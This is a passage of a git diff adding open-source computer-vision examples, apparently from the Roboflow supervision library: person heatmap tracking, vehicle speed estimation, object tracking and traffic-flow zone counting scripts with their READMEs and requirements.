frames_generator = sv.get_video_frames_generator(
source_path=source_video_path, stride=1
)
### Detect, track, annotate, save
with sv.VideoSink(target_path=target_video_path, video_info=video_info) as sink:
for frame in frames_generator:
result = model(
source=frame,
classes=[0], # only person class
conf=confidence_threshold,
iou=iou_threshold,
# show_conf = True,
# save_txt = True,
# save_conf = True,
# save = True,
device=None, # use None = CPU, 0 = single GPU, or [0,1] = dual GPU
)[0]
detections = sv.Detections.from_ultralytics(result) # get detections
detections = byte_tracker.update_with_detections(
detections
) # update tracker
### draw heatmap
annotated_frame = heat_map_annotator.annotate(
scene=frame.copy(), detections=detections
)
### draw other attributes from `detections` object
labels = [
f"#{tracker_id}"
for class_id, tracker_id in zip(
detections.class_id, detections.tracker_id
)
]
label_annotator.annotate(
scene=annotated_frame, detections=detections, labels=labels
)
sink.write_frame(frame=annotated_frame)
if __name__ == "__main__":
parser = argparse.ArgumentParser(
description="Heatmap and Tracking with Supervision"
)
parser.add_argument(
"--source_weights_path",
required=True,
help="Path to the source weights file",
type=str,
)
parser.add_argument(
"--source_video_path",
default=download_video(),
help="Path to the source video file",
type=str,
)
parser.add_argument(
"--target_video_path",
default="output.mp4",
help="Path to the target video file (output)",
type=str,
)
parser.add_argument(
"--confidence_threshold",
default=0.35,
help="Confidence threshold for the model",
type=float,
)
parser.add_argument(
"--iou_threshold",
default=0.5,
help="IOU threshold for the model",
type=float,
)
parser.add_argument(
"--heatmap_alpha",
default=0.5,
help="Opacity of the overlay mask, between 0 and 1",
type=float,
)
parser.add_argument(
"--radius",
default=25,
help="Radius of the heat circle",
type=float,
)
parser.add_argument(
"--track_threshold",
default=0.35,
help="Detection confidence threshold for track activation",
type=float,
)
parser.add_argument(
"--track_seconds",
default=5,
help="Number of seconds to buffer when a track is lost",
type=int,
)
parser.add_argument(
"--match_threshold",
default=0.99,
help="Threshold for matching tracks with detections",
type=float,
)
args = parser.parse_args()
heatmap_and_track(
source_weights_path=args.source_weights_path,
source_video_path=args.source_video_path,
target_video_path=args.target_video_path,
confidence_threshold=args.confidence_threshold,
iou_threshold=args.iou_threshold,
heatmap_alpha=args.heatmap_alpha,
radius=args.radius,
track_threshold=args.track_threshold,
track_seconds=args.track_seconds,
match_threshold=args.match_threshold,
)
+9
View File
@@ -0,0 +1,9 @@
data/
venv*/
*.pt
*.pth
*.mp4
*.mov
*.png
*.jpg
*.jpeg
+117
View File
@@ -0,0 +1,117 @@
# speed estimation
[![Colab](https://colab.research.google.com/assets/colab-badge.svg)](https://colab.research.google.com/github/roboflow-ai/notebooks/blob/main/notebooks/how-to-estimate-vehicle-speed-with-computer-vision.ipynb)
[![YouTube](https://badges.aleen42.com/src/youtube.svg)](https://youtu.be/uWP6UjDeZvY)
## 👋 hello
This example performs speed estimation analysis using various object-detection models
and ByteTrack - a simple yet effective online multi-object tracking method. It uses the
supervision package for multiple tasks such as tracking, annotations, etc.
https://github.com/roboflow/supervision/assets/26109316/d50118c1-2ae4-458d-915a-5d860fd36f71
> [!IMPORTANT]
> Adjust the [`SOURCE`](https://github.com/roboflow/supervision/blob/e32b05a636dab2ea1f39299e529c4b22b8baa8da/examples/speed_estimation/ultralytics_example.py#L10)
> and [`TARGET`](https://github.com/roboflow/supervision/blob/e32b05a636dab2ea1f39299e529c4b22b8baa8da/examples/speed_estimation/ultralytics_example.py#L15)
> configuration if you plan to run a speed estimation script on your video file. Those must be adjusted separately for each camera view. You can learn more
> from our YouTube [tutorial](https://youtu.be/uWP6UjDeZvY).
## 💻 install
- clone repository and navigate to example directory
```bash
git clone https://github.com/roboflow/supervision.git
cd supervision/examples/speed_estimation
```
- setup python environment and activate it [optional]
```bash
python3.10 -m venv venv
source venv/bin/activate
```
- install required dependencies
```bash
pip install -r requirements.txt
```
- download `vehicles.mp4` file
```bash
python3.10 video_downloader.py
```
## 🛠️ script arguments
- `--roboflow_api_key` (optional): The API key for Roboflow services. If not provided
directly, the script tries to fetch it from the `ROBOFLOW_API_KEY` environment
variable. Follow [this guide](https://docs.roboflow.com/api-reference/authentication#retrieve-an-api-key)
to acquire your `API KEY`.
- `--model_id` (optional): Designates the Roboflow model ID to be used. The default
value is `"yolov8x-1280"`.
- `--source_weights_path`: Required. Specifies the path to the YOLO model's weights
file, which is essential for the object detection process. This file contains the
data that the model uses to identify objects in the video.
- `--source_video_path`: Required. The path to the source video file that will be
analyzed. This is the input video on which traffic flow analysis will be performed.
- `--target_video_path`: The path to save the output video with
annotations. If not specified, the processed video will be displayed in real-time
without being saved.
- `--confidence_threshold` (optional): Sets the confidence threshold for the YOLO
model to filter detections. Default is `0.3`. This determines how confident the
model should be to recognize an object in the video.
- `--iou_threshold` (optional): Specifies the IOU (Intersection Over Union) threshold
for the model. Default is 0.7. This value is used to manage object detection
accuracy, particularly in distinguishing between different objects.
## ⚙️ run
- yolo-nas
```bash
python yolo_nas_example.py \
--source_video_path data/vehicles.mp4 \
--target_video_path data/vehicles-result.mp4 \
--confidence_threshold 0.3 \
--iou_threshold 0.5
```
- inference
```bash
python inference_example.py \
--roboflow_api_key <ROBOFLOW API KEY> \
--source_video_path data/vehicles.mp4 \
--target_video_path data/vehicles-result.mp4 \
--confidence_threshold 0.3 \
--iou_threshold 0.5
```
- ultralytics
```bash
python ultralytics_example.py \
--source_video_path data/vehicles.mp4 \
--target_video_path data/vehicles-result.mp4 \
--confidence_threshold 0.3 \
--iou_threshold 0.5
```
## © license
This demo integrates two main components, each with its own licensing:
- ultralytics: The object detection model used in this demo, YOLOv8, is distributed
under the [AGPL-3.0 license](https://github.com/ultralytics/ultralytics/blob/main/LICENSE).
You can find more details about this license here.
- supervision: The analytics code that powers the zone-based analysis in this demo is
based on the Supervision library, which is licensed under the
[MIT license](https://github.com/roboflow/supervision/blob/develop/LICENSE.md). This
makes the Supervision part of the code fully open source and freely usable in your
projects.
@@ -0,0 +1,170 @@
import argparse
import os
from collections import defaultdict, deque
import cv2
import numpy as np
from inference.models.utils import get_roboflow_model
import supervision as sv
SOURCE = np.array([[1252, 787], [2298, 803], [5039, 2159], [-550, 2159]])
TARGET_WIDTH = 25
TARGET_HEIGHT = 250
TARGET = np.array(
[
[0, 0],
[TARGET_WIDTH - 1, 0],
[TARGET_WIDTH - 1, TARGET_HEIGHT - 1],
[0, TARGET_HEIGHT - 1],
]
)
class ViewTransformer:
def __init__(self, source: np.ndarray, target: np.ndarray) -> None:
source = source.astype(np.float32)
target = target.astype(np.float32)
self.m = cv2.getPerspectiveTransform(source, target)
def transform_points(self, points: np.ndarray) -> np.ndarray:
if points.size == 0:
return points
reshaped_points = points.reshape(-1, 1, 2).astype(np.float32)
transformed_points = cv2.perspectiveTransform(reshaped_points, self.m)
return transformed_points.reshape(-1, 2)
def parse_arguments() -> argparse.Namespace:
parser = argparse.ArgumentParser(
description="Vehicle Speed Estimation using Inference and Supervision"
)
parser.add_argument(
"--model_id",
default="yolov8x-640",
help="Roboflow model ID",
type=str,
)
parser.add_argument(
"--roboflow_api_key",
default=None,
help="Roboflow API KEY",
type=str,
)
parser.add_argument(
"--source_video_path",
required=True,
help="Path to the source video file",
type=str,
)
parser.add_argument(
"--target_video_path",
required=True,
help="Path to the target video file (output)",
type=str,
)
parser.add_argument(
"--confidence_threshold",
default=0.3,
help="Confidence threshold for the model",
type=float,
)
parser.add_argument(
"--iou_threshold", default=0.7, help="IOU threshold for the model", type=float
)
return parser.parse_args()
if __name__ == "__main__":
args = parse_arguments()
api_key = args.roboflow_api_key
api_key = os.environ.get("ROBOFLOW_API_KEY", api_key)
if api_key is None:
raise ValueError(
"Roboflow API key is missing. Please provide it as an argument or set the "
"ROBOFLOW_API_KEY environment variable."
)
args.roboflow_api_key = api_key
video_info = sv.VideoInfo.from_video_path(video_path=args.source_video_path)
model = get_roboflow_model(model_id=args.model_id, api_key=args.roboflow_api_key)
byte_track = sv.ByteTrack(
frame_rate=video_info.fps, track_thresh=args.confidence_threshold
)
thickness = sv.calculate_dynamic_line_thickness(
resolution_wh=video_info.resolution_wh
)
text_scale = sv.calculate_dynamic_text_scale(resolution_wh=video_info.resolution_wh)
bounding_box_annotator = sv.BoundingBoxAnnotator(thickness=thickness)
label_annotator = sv.LabelAnnotator(
text_scale=text_scale,
text_thickness=thickness,
text_position=sv.Position.BOTTOM_CENTER,
)
trace_annotator = sv.TraceAnnotator(
thickness=thickness,
trace_length=video_info.fps * 2,
position=sv.Position.BOTTOM_CENTER,
)
frame_generator = sv.get_video_frames_generator(source_path=args.source_video_path)
polygon_zone = sv.PolygonZone(
polygon=SOURCE, frame_resolution_wh=video_info.resolution_wh
)
view_transformer = ViewTransformer(source=SOURCE, target=TARGET)
coordinates = defaultdict(lambda: deque(maxlen=video_info.fps))
with sv.VideoSink(args.target_video_path, video_info) as sink:
for frame in frame_generator:
results = model.infer(frame)[0]
detections = sv.Detections.from_inference(results)
detections = detections[detections.confidence > args.confidence_threshold]
detections = detections[polygon_zone.trigger(detections)]
detections = detections.with_nms(threshold=args.iou_threshold)
detections = byte_track.update_with_detections(detections=detections)
points = detections.get_anchors_coordinates(
anchor=sv.Position.BOTTOM_CENTER
)
points = view_transformer.transform_points(points=points).astype(int)
for tracker_id, [_, y] in zip(detections.tracker_id, points):
coordinates[tracker_id].append(y)
labels = []
for tracker_id in detections.tracker_id:
if len(coordinates[tracker_id]) < video_info.fps / 2:
labels.append(f"#{tracker_id}")
else:
coordinate_start = coordinates[tracker_id][-1]
coordinate_end = coordinates[tracker_id][0]
distance = abs(coordinate_start - coordinate_end)
time = len(coordinates[tracker_id]) / video_info.fps
speed = distance / time * 3.6
labels.append(f"#{tracker_id} {int(speed)} km/h")
annotated_frame = frame.copy()
annotated_frame = trace_annotator.annotate(
scene=annotated_frame, detections=detections
)
annotated_frame = bounding_box_annotator.annotate(
scene=annotated_frame, detections=detections
)
annotated_frame = label_annotator.annotate(
scene=annotated_frame, detections=detections, labels=labels
)
sink.write_frame(annotated_frame)
cv2.imshow("frame", annotated_frame)
if cv2.waitKey(1) & 0xFF == ord("q"):
break
cv2.destroyAllWindows()
@@ -0,0 +1,6 @@
supervision==0.18.0rc1
tqdm==4.66.1
requests
ultralytics==8.0.237
super-gradients==3.5.0
inference==0.9.8
@@ -0,0 +1,148 @@
import argparse
from collections import defaultdict, deque
import cv2
import numpy as np
from ultralytics import YOLO
import supervision as sv
SOURCE = np.array([[1252, 787], [2298, 803], [5039, 2159], [-550, 2159]])
TARGET_WIDTH = 25
TARGET_HEIGHT = 250
TARGET = np.array(
[
[0, 0],
[TARGET_WIDTH - 1, 0],
[TARGET_WIDTH - 1, TARGET_HEIGHT - 1],
[0, TARGET_HEIGHT - 1],
]
)
class ViewTransformer:
def __init__(self, source: np.ndarray, target: np.ndarray) -> None:
source = source.astype(np.float32)
target = target.astype(np.float32)
self.m = cv2.getPerspectiveTransform(source, target)
def transform_points(self, points: np.ndarray) -> np.ndarray:
if points.size == 0:
return points
reshaped_points = points.reshape(-1, 1, 2).astype(np.float32)
transformed_points = cv2.perspectiveTransform(reshaped_points, self.m)
return transformed_points.reshape(-1, 2)
def parse_arguments() -> argparse.Namespace:
parser = argparse.ArgumentParser(
description="Vehicle Speed Estimation using Ultralytics and Supervision"
)
parser.add_argument(
"--source_video_path",
required=True,
help="Path to the source video file",
type=str,
)
parser.add_argument(
"--target_video_path",
required=True,
help="Path to the target video file (output)",
type=str,
)
parser.add_argument(
"--confidence_threshold",
default=0.3,
help="Confidence threshold for the model",
type=float,
)
parser.add_argument(
"--iou_threshold", default=0.7, help="IOU threshold for the model", type=float
)
return parser.parse_args()
if __name__ == "__main__":
args = parse_arguments()
video_info = sv.VideoInfo.from_video_path(video_path=args.source_video_path)
model = YOLO("yolov8x.pt")
byte_track = sv.ByteTrack(
frame_rate=video_info.fps, track_thresh=args.confidence_threshold
)
thickness = sv.calculate_dynamic_line_thickness(
resolution_wh=video_info.resolution_wh
)
text_scale = sv.calculate_dynamic_text_scale(resolution_wh=video_info.resolution_wh)
bounding_box_annotator = sv.BoundingBoxAnnotator(thickness=thickness)
label_annotator = sv.LabelAnnotator(
text_scale=text_scale,
text_thickness=thickness,
text_position=sv.Position.BOTTOM_CENTER,
)
trace_annotator = sv.TraceAnnotator(
thickness=thickness,
trace_length=video_info.fps * 2,
position=sv.Position.BOTTOM_CENTER,
)
frame_generator = sv.get_video_frames_generator(source_path=args.source_video_path)
polygon_zone = sv.PolygonZone(
polygon=SOURCE, frame_resolution_wh=video_info.resolution_wh
)
view_transformer = ViewTransformer(source=SOURCE, target=TARGET)
coordinates = defaultdict(lambda: deque(maxlen=video_info.fps))
with sv.VideoSink(args.target_video_path, video_info) as sink:
for frame in frame_generator:
result = model(frame)[0]
detections = sv.Detections.from_ultralytics(result)
detections = detections[detections.confidence > args.confidence_threshold]
detections = detections[polygon_zone.trigger(detections)]
detections = detections.with_nms(threshold=args.iou_threshold)
detections = byte_track.update_with_detections(detections=detections)
points = detections.get_anchors_coordinates(
anchor=sv.Position.BOTTOM_CENTER
)
points = view_transformer.transform_points(points=points).astype(int)
for tracker_id, [_, y] in zip(detections.tracker_id, points):
coordinates[tracker_id].append(y)
labels = []
for tracker_id in detections.tracker_id:
if len(coordinates[tracker_id]) < video_info.fps / 2:
labels.append(f"#{tracker_id}")
else:
coordinate_start = coordinates[tracker_id][-1]
coordinate_end = coordinates[tracker_id][0]
distance = abs(coordinate_start - coordinate_end)
time = len(coordinates[tracker_id]) / video_info.fps
speed = distance / time * 3.6
labels.append(f"#{tracker_id} {int(speed)} km/h")
annotated_frame = frame.copy()
annotated_frame = trace_annotator.annotate(
scene=annotated_frame, detections=detections
)
annotated_frame = bounding_box_annotator.annotate(
scene=annotated_frame, detections=detections
)
annotated_frame = label_annotator.annotate(
scene=annotated_frame, detections=detections, labels=labels
)
sink.write_frame(annotated_frame)
cv2.imshow("frame", annotated_frame)
if cv2.waitKey(1) & 0xFF == ord("q"):
break
cv2.destroyAllWindows()
@@ -0,0 +1,8 @@
import os
from supervision.assets import VideoAssets, download_assets
if not os.path.exists("data"):
os.makedirs("data")
os.chdir("data")
download_assets(VideoAssets.VEHICLES)
@@ -0,0 +1,148 @@
import argparse
from collections import defaultdict, deque
import cv2
import numpy as np
from super_gradients.common.object_names import Models
from super_gradients.training import models
import supervision as sv
SOURCE = np.array([[1252, 787], [2298, 803], [5039, 2159], [-550, 2159]])
TARGET_WIDTH = 25
TARGET_HEIGHT = 250
TARGET = np.array(
[
[0, 0],
[TARGET_WIDTH - 1, 0],
[TARGET_WIDTH - 1, TARGET_HEIGHT - 1],
[0, TARGET_HEIGHT - 1],
]
)
class ViewTransformer:
def __init__(self, source: np.ndarray, target: np.ndarray) -> None:
source = source.astype(np.float32)
target = target.astype(np.float32)
self.m = cv2.getPerspectiveTransform(source, target)
def transform_points(self, points: np.ndarray) -> np.ndarray:
if points.size == 0:
return points
reshaped_points = points.reshape(-1, 1, 2).astype(np.float32)
transformed_points = cv2.perspectiveTransform(reshaped_points, self.m)
return transformed_points.reshape(-1, 2)
def parse_arguments() -> argparse.Namespace:
parser = argparse.ArgumentParser(
description="Vehicle Speed Estimation using YOLO-NAS and Supervision"
)
parser.add_argument(
"--source_video_path",
required=True,
help="Path to the source video file",
type=str,
)
parser.add_argument(
"--target_video_path",
required=True,
help="Path to the target video file (output)",
type=str,
)
parser.add_argument(
"--confidence_threshold",
default=0.3,
help="Confidence threshold for the model",
type=float,
)
parser.add_argument(
"--iou_threshold", default=0.7, help="IOU threshold for the model", type=float
)
return parser.parse_args()
if __name__ == "__main__":
args = parse_arguments()
video_info = sv.VideoInfo.from_video_path(video_path=args.source_video_path)
model = models.get(Models.YOLO_NAS_L, pretrained_weights="coco")
byte_track = sv.ByteTrack(
frame_rate=video_info.fps, track_thresh=args.confidence_threshold
)
thickness = sv.calculate_dynamic_line_thickness(
resolution_wh=video_info.resolution_wh
)
text_scale = sv.calculate_dynamic_text_scale(resolution_wh=video_info.resolution_wh)
bounding_box_annotator = sv.BoundingBoxAnnotator(thickness=thickness)
label_annotator = sv.LabelAnnotator(
text_scale=text_scale,
text_thickness=thickness,
text_position=sv.Position.BOTTOM_CENTER,
)
trace_annotator = sv.TraceAnnotator(
thickness=thickness,
trace_length=video_info.fps * 2,
position=sv.Position.BOTTOM_CENTER,
)
frame_generator = sv.get_video_frames_generator(source_path=args.source_video_path)
polygon_zone = sv.PolygonZone(
polygon=SOURCE, frame_resolution_wh=video_info.resolution_wh
)
view_transformer = ViewTransformer(source=SOURCE, target=TARGET)
coordinates = defaultdict(lambda: deque(maxlen=video_info.fps))
with sv.VideoSink(args.target_video_path, video_info) as sink:
for frame in frame_generator:
result = model.predict(frame)[0]
detections = sv.Detections.from_yolo_nas(result)
detections = detections[polygon_zone.trigger(detections)]
detections = detections.with_nms(threshold=args.iou_threshold)
detections = byte_track.update_with_detections(detections=detections)
points = detections.get_anchors_coordinates(
anchor=sv.Position.BOTTOM_CENTER
)
points = view_transformer.transform_points(points=points).astype(int)
for tracker_id, [_, y] in zip(detections.tracker_id, points):
coordinates[tracker_id].append(y)
labels = []
for tracker_id in detections.tracker_id:
if len(coordinates[tracker_id]) < video_info.fps / 2:
labels.append(f"#{tracker_id}")
else:
coordinate_start = coordinates[tracker_id][-1]
coordinate_end = coordinates[tracker_id][0]
distance = abs(coordinate_start - coordinate_end)
time = len(coordinates[tracker_id]) / video_info.fps
speed = distance / time * 3.6
labels.append(f"#{tracker_id} {int(speed)} km/h")
annotated_frame = frame.copy()
annotated_frame = trace_annotator.annotate(
scene=annotated_frame, detections=detections
)
annotated_frame = bounding_box_annotator.annotate(
scene=annotated_frame, detections=detections
)
annotated_frame = label_annotator.annotate(
scene=annotated_frame, detections=detections, labels=labels
)
sink.write_frame(annotated_frame)
cv2.imshow("frame", annotated_frame)
if cv2.waitKey(1) & 0xFF == ord("q"):
break
cv2.destroyAllWindows()
+92 -11
View File
@@ -1,3 +1,5 @@
# tracking
## 👋 hello
This script provides functionality for processing videos using YOLOv8 for object
@@ -5,16 +7,95 @@ detection and Supervision for tracking and annotation.
## 💻 install
```bash
pip install -r requirements.txt
```
- clone repository and navigate to example directory
## ⚙️ parameters
```bash
git clone https://github.com/roboflow/supervision.git
cd supervision/examples/tracking
```
| parameter | required | description |
|:-------------------------|:--------:|:----------------------------------------------------------------------------------|
| `--source_weights_path` | ✓ | Path to the source weights file for YOLOv8. |
| `--source_video_path` | ✓ | Path to the source video file to be processed. |
| `--target_video_path` | ✓ | Path to the target video file (output). |
| `--confidence_threshold` | ✗ | Confidence threshold for YOLO model detection. Default is 0.3. |
| `--iou_threshold` | ✗ | IOU (Intersection over Union) threshold for YOLO model detection. Default is 0.7. |
- setup python environment and activate it [optional]
```bash
python3 -m venv venv
source venv/bin/activate
```
- install required dependencies
```bash
pip install -r requirements.txt
```
## 🛠️ script arguments
- ultralytics
- `--source_weights_path`: Required. Specifies the path to the YOLO model's weights
file, which is essential for the object detection process. This file contains the data
that the model uses to identify objects in the video.
- `--source_video_path`: Required. The path to the source video file to be processed.
This is the video on which object detection and annotation will be performed.
- `--target_video_path`: Required. The path where the processed video, with annotations
added, will be saved. This is your output video file.
- `--confidence_threshold` (optional): Sets the confidence level at which the model
identifies objects in the video. Default is `0.3`. A higher threshold makes the model
more selective, while a lower threshold makes it more inclusive in identifying objects.
- `--iou_threshold` (optional): Specifies the IOU (Intersection Over Union) threshold
for the model, defaulting to `0.7`. This parameter helps in differentiating between
distinct objects, especially in crowded scenes.
- inference
- `--roboflow_api_key` (optional): The API key for Roboflow services. If not provided
directly, the script tries to fetch it from the `ROBOFLOW_API_KEY` environment
variable. Follow [this guide](https://docs.roboflow.com/api-reference/authentication#retrieve-an-api-key)
to acquire your `API KEY`.
- `--model_id` (optional): Designates the Roboflow model ID to be used. The default
value is `"yolov8x-1280"`.
- `--source_video_path`: Required. The path to the source video file to be processed.
This is the video on which object detection and annotation will be performed.
- `--target_video_path`: Required. The path where the processed video, with annotations
added, will be saved. This is your output video file.
- `--confidence_threshold` (optional): Sets the confidence level at which the model
identifies objects in the video. Default is `0.3`. A higher threshold makes the model
more selective, while a lower threshold makes it more inclusive in identifying objects.
- `--iou_threshold` (optional): Specifies the IOU (Intersection Over Union) threshold
for the model, defaulting to `0.7`. This parameter helps in differentiating between
distinct objects, especially in crowded scenes.
## ⚙️ run
- inference
```bash
python inference_example.py \
--roboflow_api_key <ROBOFLOW API KEY> \
--source_video_path input.mp4 \
--target_video_path tracking_result.mp4
```
- ultralytics
```bash
python ultralytics_example.py \
--source_weights_path yolov8s.pt \
--source_video_path input.mp4 \
--target_video_path tracking_result.mp4
```
## © license
This demo integrates two main components, each with its own licensing:
- ultralytics: The object detection model used in this demo, YOLOv8, is distributed
under the [AGPL-3.0 license](https://github.com/ultralytics/ultralytics/blob/main/LICENSE).
You can find more details about this license here.
- supervision: The analytics code that powers the zone-based analysis in this demo is
based on the Supervision library, which is licensed under the
[MIT license](https://github.com/roboflow/supervision/blob/develop/LICENSE.md). This
makes the Supervision part of the code fully open source and freely usable in your
projects.
+101
View File
@@ -0,0 +1,101 @@
import argparse
import os
from inference.models.utils import get_roboflow_model
from tqdm import tqdm
import supervision as sv
def process_video(
roboflow_api_key: str,
model_id: str,
source_video_path: str,
target_video_path: str,
confidence_threshold: float = 0.3,
iou_threshold: float = 0.7,
) -> None:
model = get_roboflow_model(model_id=model_id, api_key=roboflow_api_key)
tracker = sv.ByteTrack()
box_annotator = sv.BoundingBoxAnnotator()
label_annotator = sv.LabelAnnotator()
frame_generator = sv.get_video_frames_generator(source_path=source_video_path)
video_info = sv.VideoInfo.from_video_path(video_path=source_video_path)
with sv.VideoSink(target_path=target_video_path, video_info=video_info) as sink:
for frame in tqdm(frame_generator, total=video_info.total_frames):
results = model.infer(
frame, confidence=confidence_threshold, iou_threshold=iou_threshold
)[0]
detections = sv.Detections.from_inference(results)
detections = tracker.update_with_detections(detections)
annotated_frame = box_annotator.annotate(
scene=frame.copy(), detections=detections
)
annotated_labeled_frame = label_annotator.annotate(
scene=annotated_frame, detections=detections
)
sink.write_frame(frame=annotated_labeled_frame)
if __name__ == "__main__":
parser = argparse.ArgumentParser(
description="Video Processing with Inference and ByteTrack"
)
parser.add_argument(
"--model_id",
default="yolov8x-1280",
help="Roboflow model ID",
type=str,
)
parser.add_argument(
"--source_video_path",
required=True,
help="Path to the source video file",
type=str,
)
parser.add_argument(
"--target_video_path",
required=True,
help="Path to the target video file (output)",
type=str,
)
parser.add_argument(
"--confidence_threshold",
default=0.3,
help="Confidence threshold for the model",
type=float,
)
parser.add_argument(
"--iou_threshold", default=0.7, help="IOU threshold for the model", type=float
)
parser.add_argument(
"--roboflow_api_key",
default=None,
help="Roboflow API key",
type=str,
)
args = parser.parse_args()
api_key = args.roboflow_api_key
api_key = os.environ.get("ROBOFLOW_API_KEY", api_key)
if api_key is None:
raise ValueError(
"Roboflow API key is missing. Please provide it as an argument or set the "
"ROBOFLOW_API_KEY environment variable."
)
args.roboflow_api_key = api_key
process_video(
roboflow_api_key=args.roboflow_api_key,
model_id=args.model_id,
source_video_path=args.source_video_path,
target_video_path=args.target_video_path,
confidence_threshold=args.confidence_threshold,
iou_threshold=args.iou_threshold,
)
+1
View File
@@ -1,3 +1,4 @@
inference
supervision
tqdm
ultralytics
@@ -17,7 +17,7 @@ def process_video(
tracker = sv.ByteTrack()
box_annotator = sv.BoundingBoxAnnotator()
label_annotator = sv.LabelAnnotator(classes=model.names)
label_annotator = sv.LabelAnnotator()
frame_generator = sv.get_video_frames_generator(source_path=source_video_path)
video_info = sv.VideoInfo.from_video_path(video_path=source_video_path)
+8
View File
@@ -1 +1,9 @@
data/
venv/
*.pt
*.pth
*.mp4
*.mov
*.png
*.jpg
*.jpeg
+95 -23
View File
@@ -1,6 +1,10 @@
# traffic analysis
## 👋 hello
This script performs traffic flow analysis using YOLOv8, an object-detection method and ByteTrack, a simple yet effective online multi-object tracking method. It uses the supervision package for multiple tasks such as tracking, annotations, etc.
This script performs traffic flow analysis using YOLOv8, an object-detection method and
ByteTrack, a simple yet effective online multi-object tracking method. It uses the
supervision package for multiple tasks such as tracking, annotations, etc.
https://github.com/roboflow/supervision/assets/26109316/c9436828-9fbf-4c25-ae8c-60e9c81b3900
@@ -8,37 +12,105 @@ https://github.com/roboflow/supervision/assets/26109316/c9436828-9fbf-4c25-ae8c-
- clone repository and navigate to example directory
```bash
git clone https://github.com/roboflow/supervision.git
cd supervision/examples/traffic_analysis
```
```bash
git clone https://github.com/roboflow/supervision.git
cd supervision/examples/traffic_analysis
```
- setup python environment and activate it [optional]
```bash
python3 -m venv venv
source venv/bin/activate
```
```bash
python3 -m venv venv
source venv/bin/activate
```
- install required dependencies
```bash
pip install -r requirements.txt
```
```bash
pip install -r requirements.txt
```
- download `traffic_analysis.pt` and `traffic_analysis.mov` files
```bash
./setup.sh
```
```bash
./setup.sh
```
## 🛠️ script arguments
- ultralytics
- `--source_weights_path`: Required. Specifies the path to the YOLO model's weights
file, which is essential for the object detection process. This file contains the
data that the model uses to identify objects in the video.
- `--source_video_path`: Required. The path to the source video file that will be
analyzed. This is the input video on which traffic flow analysis will be performed.
- `--target_video_path` (optional): The path to save the output video with
annotations. If not specified, the processed video will be displayed in real-time
without being saved.
- `--confidence_threshold` (optional): Sets the confidence threshold for the YOLO
model to filter detections. Default is `0.3`. This determines how confident the
model should be to recognize an object in the video.
- `--iou_threshold` (optional): Specifies the IOU (Intersection Over Union) threshold
for the model. Default is 0.7. This value is used to manage object detection
accuracy, particularly in distinguishing between different objects.
- inference
- `--roboflow_api_key` (optional): The API key for Roboflow services. If not provided
directly, the script tries to fetch it from the `ROBOFLOW_API_KEY` environment
variable. Follow [this guide](https://docs.roboflow.com/api-reference/authentication#retrieve-an-api-key)
to acquire your `API KEY`.
- `--model_id` (optional): Designates the Roboflow model ID to be used. The default
value is `"vehicle-count-in-drone-video/6"`.
- `--source_video_path`: Required. The path to the source video file that will be
analyzed. This is the input video on which traffic flow analysis will be performed.
- `--target_video_path` (optional): The path to save the output video with
annotations. If not specified, the processed video will be displayed in real-time
without being saved.
- `--confidence_threshold` (optional): Sets the confidence threshold for the YOLO
model to filter detections. Default is `0.3`. This determines how confident the
model should be to recognize an object in the video.
- `--iou_threshold` (optional): Specifies the IOU (Intersection Over Union) threshold
for the model. Default is 0.7. This value is used to manage object detection
accuracy, particularly in distinguishing between different objects.
## ⚙️ run
```bash
python script.py \
--source_weights_path data/traffic_analysis.pt \
--source_video_path data/traffic_analysis.mov \
--confidence_threshold 0.3 \
--iou_threshold 0.5 \
--target_video_path data/traffic_analysis_result.mov
```
- ultralytics
```bash
python ultralytics_example.py \
--source_weights_path data/traffic_analysis.pt \
--source_video_path data/traffic_analysis.mov \
--confidence_threshold 0.3 \
--iou_threshold 0.5 \
--target_video_path data/traffic_analysis_result.mov
```
- inference
```bash
python inference_example.py \
--roboflow_api_key <ROBOFLOW API KEY> \
--source_video_path data/traffic_analysis.mov \
--confidence_threshold 0.3 \
--iou_threshold 0.5 \
--target_video_path data/traffic_analysis_result.mov
```
## © license
This demo integrates two main components, each with its own licensing:
- ultralytics: The object detection model used in this demo, YOLOv8, is distributed
under the [AGPL-3.0 license](https://github.com/ultralytics/ultralytics/blob/main/LICENSE).
You can find more details about this license here.
- supervision: The analytics code that powers the zone-based analysis in this demo is
based on the Supervision library, which is licensed under the
[MIT license](https://github.com/roboflow/supervision/blob/develop/LICENSE.md). This
makes the Supervision part of the code fully open source and freely usable in your
projects.
@@ -0,0 +1,240 @@
import argparse
import os
from typing import Dict, List, Set, Tuple
import cv2
import numpy as np
from inference.models.utils import get_roboflow_model
from tqdm import tqdm
import supervision as sv
COLORS = sv.ColorPalette.default()
ZONE_IN_POLYGONS = [
np.array([[592, 282], [900, 282], [900, 82], [592, 82]]),
np.array([[950, 860], [1250, 860], [1250, 1060], [950, 1060]]),
np.array([[592, 582], [592, 860], [392, 860], [392, 582]]),
np.array([[1250, 282], [1250, 530], [1450, 530], [1450, 282]]),
]
ZONE_OUT_POLYGONS = [
np.array([[950, 282], [1250, 282], [1250, 82], [950, 82]]),
np.array([[592, 860], [900, 860], [900, 1060], [592, 1060]]),
np.array([[592, 282], [592, 550], [392, 550], [392, 282]]),
np.array([[1250, 860], [1250, 560], [1450, 560], [1450, 860]]),
]
class DetectionsManager:
def __init__(self) -> None:
self.tracker_id_to_zone_id: Dict[int, int] = {}
self.counts: Dict[int, Dict[int, Set[int]]] = {}
def update(
self,
detections_all: sv.Detections,
detections_in_zones: List[sv.Detections],
detections_out_zones: List[sv.Detections],
) -> sv.Detections:
for zone_in_id, detections_in_zone in enumerate(detections_in_zones):
for tracker_id in detections_in_zone.tracker_id:
self.tracker_id_to_zone_id.setdefault(tracker_id, zone_in_id)
for zone_out_id, detections_out_zone in enumerate(detections_out_zones):
for tracker_id in detections_out_zone.tracker_id:
if tracker_id in self.tracker_id_to_zone_id:
zone_in_id = self.tracker_id_to_zone_id[tracker_id]
self.counts.setdefault(zone_out_id, {})
self.counts[zone_out_id].setdefault(zone_in_id, set())
self.counts[zone_out_id][zone_in_id].add(tracker_id)
if len(detections_all) > 0:
detections_all.class_id = np.vectorize(
lambda x: self.tracker_id_to_zone_id.get(x, -1)
)(detections_all.tracker_id)
else:
detections_all.class_id = np.array([], dtype=int)
return detections_all[detections_all.class_id != -1]
def initiate_polygon_zones(
polygons: List[np.ndarray],
frame_resolution_wh: Tuple[int, int],
triggering_position: sv.Position = sv.Position.CENTER,
) -> List[sv.PolygonZone]:
return [
sv.PolygonZone(
polygon=polygon,
frame_resolution_wh=frame_resolution_wh,
triggering_position=triggering_position,
)
for polygon in polygons
]
class VideoProcessor:
def __init__(
self,
